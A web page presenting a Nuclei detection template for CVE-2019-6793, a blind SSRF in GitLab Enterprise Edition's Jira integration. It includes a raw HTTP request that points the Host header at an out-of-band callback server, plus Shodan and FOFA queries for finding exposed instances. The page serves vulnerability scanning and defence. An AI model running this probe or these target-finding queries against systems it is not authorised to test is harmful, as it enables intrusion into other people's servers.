GitLab Enterprise Edition - Server-Side Request Forgery

ID: CVE-2019-6793

Severity: high

Author: ritikchaddha

Tags: cve,cve2019,gitlab,enterprise,ssrf,blind

Description

An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.

YAML Source

id: CVE-2019-6793

info:
  name: GitLab Enterprise Edition - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.
  reference:
    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/50748
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 7.0
    cve-id: CVE-2019-6793
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: html:"GitLab Enterprise Edition"
    fofa-query: body="GitLab Enterprise Edition"
  tags: cve,cve2019,gitlab,enterprise,ssrf,blind

http:
  - raw:
      - |+
        POST /-/jira/login/oauth/access_token HTTP/1.1
        Host: {{interactsh-url}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "access_token="

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dd74c81498e9a1897c7c04d1d0e16b7e2d654325fee62de12d84fe73977eb238022066bc69569cd17b325d68d7d90e56b85038d667b7990a3dd5b656db7231226960:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-6793.yaml"

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